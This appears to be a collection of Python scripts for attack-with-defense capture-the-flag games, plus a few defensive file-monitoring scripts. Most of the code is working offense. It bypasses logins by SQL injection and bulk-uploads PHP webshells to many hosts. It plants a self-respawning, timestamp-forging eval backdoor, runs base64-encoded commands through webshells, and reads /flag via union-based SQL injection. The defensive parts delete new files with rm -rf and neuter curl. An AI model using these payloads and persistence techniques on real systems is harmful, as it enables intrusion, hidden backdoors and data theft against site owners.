import requests
from threading import Thread
import re
filename="./webshell.php" 
class UploadFile():
    def __init__(self,upload_url,prefix_url,login_url=""):
        self.session=requests.session()
        self.login_url=login_url
        self.upload_url=upload_url
        self.prefix_url=prefix_url
        self.suffix_url=""

    def login(self):
        data = {
            "username": "admin'#",
            "password": "asd"
        }
        self.session.post(url=self.login_url, data=data)

    def upload(self):
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
            "Upgrade-Insecure-Requests": "1",
            "Content-Length": "623"
        }
        f = {
            
            "pic": ("webshell.php", open(filename, "rb"), "application/octet-stream")

        }
        res = self.session.post(url=self.upload_url, files=f, headers=headers)
        self.suffix_url=self.upload_path(res.text)
        print(res.status_code)

    def active_webshell(self):
        try:
            self.session.get(url=self.prefix_url+self.suffix_url, timeout=3)
        except Exception as e:
            print(e)

    
    def upload_path(self,content):
        pass
        comp = re.compile("/upload.*?[.]php")
        path = comp.findall(content)
        if path:
            print(path[0])
            return path[0]
        return ""

def start_upload(host,port):
    login_url = "http://{}:{}/login.php".format(host, port)
    upload_url = "http://{}:{}/admin/upload.php".format(host, port)
    prefix_url = "http://{}:{}/admin".format(host, port)
    uploadfile=UploadFile(upload_url,prefix_url,login_url)
    uploadfile.login() 
    uploadfile.upload()
    uploadfile.active_webshell()

if __name__=='__main__':
    base_host="ip"
    base_port=8100
    tasks=[]
    for i in range(1,11):
        t=Thread(target=start_upload,args=(base_host,base_port+i))
        tasks.append(t)
    for task in tasks:
        task.start()
    for task in tasks:
        task.join()

import requests
from threading import Thread
import hashlib
import re
filename="./webshell.php" 
shell_content='''
<?php
 ignore_user_abort(true);
 set_time_limit(0);
 unlink(__FILE__);
 $file = '%s';
 $code = '<?php if(md5($_GET["pass"])=="47fe7f87f45e7403be0a9eb7a30a2970"){@eval($_POST[a]);} ?>';
 while (1){
  if(md5(file_get_contents($file))!==md5($code)) {
   file_put_contents($file,$code);
   system("touch -m -d '2018-12-01 09:10:12' $file");
  }
  usleep(1000);
 }
?>'''
class UploadFile():
    def __init__(self,host,port):
        self.session=requests.session()
        self.host=host
        self.port=port
        self.login_url = "http://{}:{}/login.php".format(host, port)
        self.upload_url = "http://{}:{}/admin/upload.php".format(host, port)
        self.prefix_url = "http://{}:{}/admin".format(host, port)
        self.suffix_url=""

    def login(self):
        data = {
            "username": "admin'#",
            "password": "asd"
        }
        self.session.post(url=self.login_url, data=data)

    def upload(self):
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
            "Upgrade-Insecure-Requests": "1",
            "Content-Length": "623"
        }
        shell_name=get_shell_name(self.host,self.port)
        f = {
            
            "pic": ("webshell.php", shell_content%(shell_name), "application/octet-stream")

        }
        res = self.session.post(url=self.upload_url, files=f, headers=headers)
        self.suffix_url=self.upload_path(res.text)
        print(res.status_code)

    def active_webshell(self):
        try:
            absolute_url=self.prefix_url+self.suffix_url
            print(absolute_url)
            self.session.get(url=absolute_url, timeout=3)
        except Exception as e:
            print(e)

    
    def upload_path(self,content):
        pass
        comp = re.compile("/upload.*?[.]php")
        path = comp.findall(content)
        if path:
            print(path[0])
            return path[0]
        return ""

def get_shell_name(host,port):
    secret_key="ye1s"
    strings="{}{}".format(host,port)+secret_key
    md5=hashlib.md5()
    md5.update(strings.encode())
    return "."+md5.hexdigest()[0:6]+".php"


def start_upload(host,port):
    uploadfile=UploadFile(host,port)
    uploadfile.login() 
    uploadfile.upload()
    uploadfile.active_webshell()

if __name__=='__main__':
    base_host="ip"
    base_port=8100
    tasks=[]
    for i in range(1,11):
        t=Thread(target=start_upload,args=(base_host,base_port+i))
        tasks.append(t)
    for task in tasks:
        task.start()
    for task in tasks:
        task.join()

#!/usr/bin/python
#coding=utf-8
import sys,requests,base64

def loadfile(filepath):
    try : 
        file = open(filepath,"rb")
        return str(file.read())
    except : 
        print "File %s Not Found!" %filepath
        sys.exit()

def file_write(filepath,filecontent):
    file = open(filepath,"a")
    file.write(filecontent)
    file.close()

def getflag(url,method,passwd,flag_path):
    #flag机的url
    flag_url="192.168.45.1"
    #print url
    #判断shell是否存在
    try :
        res = requests.get(url,timeout=3)
    except : 
        print "[-] %s ERR_CONNECTION_TIMED_OUT" %url
        file_write(flag_path,"[-] %s ERR_CONNECTION_TIMED_OUT\n\n" %url)
        return 0
    if res.status_code!=200 :
        print "[-] %s Page Not Found!" %url
        file_write(flag_path,"[-] %s Page Not Found!\n\n" %url)
        return 0
    #执行命令来获取flag system,exec,passthru,`,shell_exec
    #a=@eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs=
    cmd = "curl "+flag_url
    #cmd = "whoami"
    getflag_cmd ="echo system(\"%s\");"%cmd
    data={}
    if method=='get':
        data[passwd]='@eval(base64_decode($_GET[z0]));'
        data['z0']=base64.b64encode(getflag_cmd)
        try:
            res = requests.get(url,params=data,timeout=3)
            #print res.url
            if res.content:
                content = url+"\n"+res.content+"\n\n"
                file_write(flag_path,content)
                print "[+] %s getflag sucessed!"%url
            else :
                print "[-] %s cmd exec response is null!"%url
                content = url+"\ncmd exec response is null!\n\n"
                file_write(flag_path,content)
        except :
            file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
            print "[+] %s Getflag Failed! You can check the shell's passwd!"%url
    elif method=='post':
        data['pass']='Sn3rtf4ck'
        data[passwd]='@eval(base64_decode($_POST[z0]));'
        data['z0']=base64.b64encode(getflag_cmd)
        try:
            res = requests.post(url,data=data,timeout=3)
            if res.content:
                content = url+"\n"+res.content+"\n\n"
                file_write(flag_path,content)
                print "[+] %s getflag sucessed!"%url
            else :
                print "[-] %s cmd exec response is null!"%url
                content = url+"\ncmd exec response is null!\n\n"
                file_write(flag_path,content)
        except:
            file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
            print "[+] %s Getflag Failed! You can check the shell's passwd!"%url



if __name__ == '__main__':
    #存放flag的文件
    flag_path="./flag.txt"
    shellstr=loadfile("./webshell.txt")
    list = shellstr.split("\r\n")
    #print str(list)
    i = 0
    url={}
    passwd={}
    method={}
    for data in list:
        if data:
            ls = data.split(",")
            method_tmp = str(ls[1])
            method_tmp = method_tmp.lower()
            if method_tmp=='post' or method_tmp=='get':
                url[i]=str(ls[0])
                method[i]=method_tmp
                passwd[i]=str(ls[2])
                i+=1
            else :
                print "[-] %s request method error!" %(str(ls[0]))
                file_write(flag_path,"[-] %s request method error!\n\n" %(str(ls[0])))
        else : pass
    #print str(len(url))
    for j in range(len(url)):
        #调用执行命令的模块
        #print str(j)
        #print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
        getflag(url=url[j],method=method[j],passwd=passwd[j],flag_path=flag_path)
 print "Getflag finished!"

import json
import requests
import re
from threading import Thread

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

requests.packages.urllib3.disable_warnings()


class FlagFile():
    def __init__(self):

        self.flag_file = "./flag.txt"

    def add_one(self, flag):
        if flag:
            with open(self.flag_file, "a+") as f:
                f.write(flag + "\n")

    def add_many(self, flags):
        if flags:
            with open(self.flag_file, "a+") as f:
                for flag in flags:
                    f.write(flag + "\n");

    def del_all(self):
        f = open(self.flag_file, "w+")
        f.truncate()

    def get_all(self):
        with open(self.flag_file, "r", encoding='utf-8') as f:
            flags = set([i.strip() for i in f.readlines() if i ] )
        return flags

def submit_flag(flag):
    host_url="http://awd.hillstonenet.com/api/flag" 
    headers={
        "Content-Type": "application/json; charset=UTF-8",
        "Authorization": "d89fdcf7f1fd37a69aef7ea0d507a51a"
    }





    data={
        "flag":flag
    }
    try:
        data=json.dumps(data)
        r=requests.post(host_url,data=data,headers=headers)
        print(r.text)
    except Exception as e:
        print(e)

def match_flag(content):
    comp = re.compile("hillstone{.*?}")
    path = comp.findall(content)
    if path:
        print(path[0])
        return path[0]
    return ""




def web1_shell(host,port):
    shell_url = "http://{}:{}/admin/upload/admin.php?pass=p455word".format(host, port)
    command="show_source('/flag');"
    data = {
        "a": command
    }
    res=requests.post(url=shell_url,data=data)
    return match_flag(res.text)


def web2_sql(host,port):
    sql_url="http://{}:{}/sqlgunsearch.php".format(host,port)
    data={
        "key": "key=aa%' union select 1,2,load_file('/flag')#--"
    }
    try:
        res=requests.post(url=sql_url,data=data)
        return match_flag(res.text)
    except Exception as e:
        print(e)

def web3_shell(host,port):
    shell_url = "http://{}:{}/includes/config.php?d=assert".format(host, port)
    command = "show_source('/flag');"
    data = {
        "c": command
    }
    res = requests.post(url=shell_url, data=data)
    return match_flag(res.text)




class web1_exp():
    def __init__(self,host,port):
        self.host=host
        self.port=port
        self.flag_file=FlagFile()
    def sql(self):
        pass
    def rce(self):
        pass
    def webshell(self):
        flag=web1_shell(self.host,self.port)
        self.flag_file.add_one(flag)

class web2_exp():
    def __init__(self,host,port):
        self.host=host
        self.port=port
        self.flag_file=FlagFile()
    def sql(self):
        flag=web2_sql(self.host,self.port)
        self.flag_file.add_one(flag)
    def rce(self):
        pass

    def webshell(self):
        pass

class web3_exp():
    def __init__(self,host,port):
        self.host=host
        self.port=port
        self.flag_file=FlagFile()
    def sql(self):
        pass
    def rce(self):
        pass
    def webshell(self):
        flag=web3_shell(self.host,self.port)
        self.flag_file.add_one(flag)



def web_exp(host,port,num):
    exp = eval("web{}_exp(host, port)".format(num))
    exp.sql()
    exp.rce()
    exp.webshell()

def attack_web(host,port,num):
    base_host=host
    base_port=port
    tasks = []
    flag_file = FlagFile()
    flag_file.del_all()
    for i in range(1, 11):
        tasks.append(Thread(target=web_exp, args=(base_host, base_port + i,num)))
    for task in tasks:
        task.start()
    for task in tasks:
        task.join()
    for flag in flag_file.get_all():
        submit_flag(flag)

if __name__=='__main__':
    base_host1 = "ip"
    base_port1 = 8100
    base_host2 = "ip"
    base_port2 = 8200
    base_host3 = "ip"
    base_port3 = 8300
    attack_web(base_host1,base_port1,1)
    attack_web(base_host2, base_port2,2)
    attack_web(base_host3, base_port3,3)

#!/usr/bin/python
#coding=utf-8
#Usage ：python demo.py
#Code by : AdminTony
#QQ : 78941695
#注意：要将此文件放在有读写权限的目录以及所有修改过的php必须在此目录或者该目录的子目录中。
#作用：读取被修改过的文件，然后将文件的地址加上内容全部存放在txt



import sys,subprocess,os
#查找最近10分钟被修改的文件
def scanfile():
    #command: find -name '*.php' -mmin -10
    command = "find -name \'*.php\' -mmin -10"
    su = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    STDOUT,STDERR = su.communicate()
    list = STDOUT.split("\n")
    #print str(list)
    #将文件处理成list类型然后返回。
    return list

#读取文件：
def loadfile(addr):
    data = ""
    #如果文件不存在就跳出函数
    try :
        file = open(addr,'r')
        data = file.read()
    except : 
        return 0
    all_data = addr+"\n"+data+"\n\n"
    file1 = open("shell.txt",'a+')
    #避免重复写入
    try:
        shell_content = file1.read()
    except:
        shell_content = "null"
    #如果文件内容不为空再写入，避免写入空的。
    #print shell_content
    if data :
        if all_data not in shell_content:
            file1.write(all_data)
    file.close()
    file1.close()
    rm_cmd = "rm -rf "+addr
    su = subprocess.Popen(rm_cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    su.communicate()
    print "loadfile over : "+addr

if __name__ == '__main__':
    while True:

        list = scanfile()
        if list :
            for i in range(len(list)):
                #如果list[i]为空就不读取了
                if list[i]:
                    loadfile(str(list[i]))
        else : pass

# -*- coding: utf-8 -*-#
# awd文件监控脚本
# author：说书人
import os
import json
import time
import hashlib


def ListDir(path):  # 获取网站所有文件

    for file in os.listdir(path):
        file_path = os.path.join(path, file)
        if os.path.isdir(file_path):
            if initialization['ok'] == 'false':
                dir_list.append(file_path)
            else:
                dir_list_tmp.append(file_path)
            ListDir(file_path)
        else:
            if initialization['ok'] == 'false':
                file_list.append(file_path)
            else:
                file_list_tmp.append(file_path)


def GetHash():  # 获取hash，建立索引
    for bak in file_list:
        with open(bak, 'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
        hash = md5obj.hexdigest()
        bak_dict[bak] = hash
    if os.path.exists('/tmp/awd_web_hash.txt') == False:
        os.system('mkdir /tmp/awd_web_bak/')
        os.system('\\cp -a {0}* /tmp/awd_web_bak/'.format(web_dir))
        with open('/tmp/awd_web_hash.txt', 'w') as f:  # 记录web文件hash
            f.write(str(json.dumps(bak_dict)))
        for i in file_list:  # 记录web文件列表
            with open('/tmp/awd_web_list.txt', 'a') as f:
                f.write(i + '\n')
        for i in dir_list:  # 记录web目录列表
            with open('/tmp/awd_web_dir.txt', 'a') as f:
                f.write(i + '\n')


def FileMonitor():  # 文件监控
    # 提取当前web目录状态
    initialization['ok'] = 'true'
    for file in os.listdir(web_dir):
        file_path = os.path.join(web_dir, file)
        if os.path.isdir(file_path):
            dir_list_tmp.append(file_path)
            ListDir(file_path)
        else:
            file_list_tmp.append(file_path)
    for file in file_list_tmp:
        with open(file, 'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
        hash = md5obj.hexdigest()
        bak_dict_tmp[file] = hash
    with open('/tmp/awd_web_hash.txt', 'r') as f:  # 读取备份的文件hash
        real_bak_dict = json.loads(f.read())
    with open('/tmp/awd_web_list.txt', 'r') as f:  # 读取备份的文件列表
        real_file_list = f.read().split('\n')[0:-1]
    with open('/tmp/awd_web_dir.txt', 'r') as f:  # 读取备份的目录列表
        real_dir_list = f.read().split('\n')[0:-1]

    for dir in real_dir_list:  # 恢复web目录
        try:
            os.makedirs(dir)
            print("[del-recover]dir:{}".format(dir))
        except:
            pass

    for file in file_list_tmp:
        try:
            if real_bak_dict[file] != bak_dict_tmp[file]:  # 检测被篡改的文件，自动恢复
                os.system('\\cp {0} {1}'.format(file.replace(web_dir, '/tmp/awd_web_bak/'), file))
                print("[modify-recover]file:{}".format(file))
        except:  # 检测新增的文件，自动删除
            os.system('rm -rf {0}'.format(file))
            print("[delete]webshell:{0}".format(file))

    for real_file in real_file_list:  # 检测被删除的文件，自动恢复
        if real_file not in file_list_tmp:
            os.system('\\cp {0} {1}'.format(real_file.replace(web_dir, '/tmp/awd_web_bak/'), real_file))
            print("[del-recover]file:{0}".format(real_file))
    file_list_tmp[:] = []
    dir_list_tmp[:] = []


os.system("rm -rf /tmp/awd_web_hash.txt /tmp/awd_web_list.txt /tmp/awd_web_dir.txt /tmp/awd_web_bak/")
web_dir = "/var/www/"  # web目录，注意最后要加斜杠
file_list = []
dir_list = []
bak_dict = {}
file_list_tmp = []
dir_list_tmp = []
bak_dict_tmp = {}
initialization = {'ok': 'false'}
ListDir(web_dir)
GetHash()
while True:
    print(time.ctime()+"   安全")
    FileMonitor()
    time.sleep(1)  # 监控间隔，按需修改

alias curl='echo fuckoff'  权限要求较低
chmod -x curl  权限要求较高

/usr/bin  curl路径

import requests
import time

def scan_attack():
    file={'shell.php','x.php','index.php'}
    payload={'cat /flag','ls -al'}
    while(1):
        for i in range(8802,8804):
            for ii in file:
                url='http://192.168.76.156:'+str(i)+'/'+ii
                for iii in payload:
                    data={
                        'payload':iii
                    }
                    try:
                        requests.post(url,data=data)
                        print("run:"+str(i)+'|'+ii+'|'+iii)
                        time.sleep(0.5)
                    except Exception as e:
                        time.sleep(0.5)
                        pass
if __name__ == '__main__':
    scan_attack()